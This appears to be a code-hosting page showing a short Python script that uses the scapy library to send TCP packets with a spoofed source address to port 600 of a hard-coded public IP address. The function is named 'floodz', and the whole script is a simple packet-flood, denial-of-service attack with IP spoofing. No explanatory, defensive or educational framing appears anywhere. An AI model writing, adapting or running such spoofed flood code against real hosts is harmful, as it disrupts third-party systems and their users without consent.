13 lines
300 B
Python
13 lines
300 B
Python
from scapy.all import *
|
|
|
|
def floodz(source,target):
|
|
for source_p in range(100,150):
|
|
IPlayer = IP(src=source,dst=target)
|
|
TCPlayer = TCP(sport=source_p,dport=600)
|
|
pkt = IPlayer/TCPlayer
|
|
send(pkt)
|
|
|
|
source = "127.0.0.1"
|
|
target = "162.241.24.197"
|
|
floodz(source,target)
|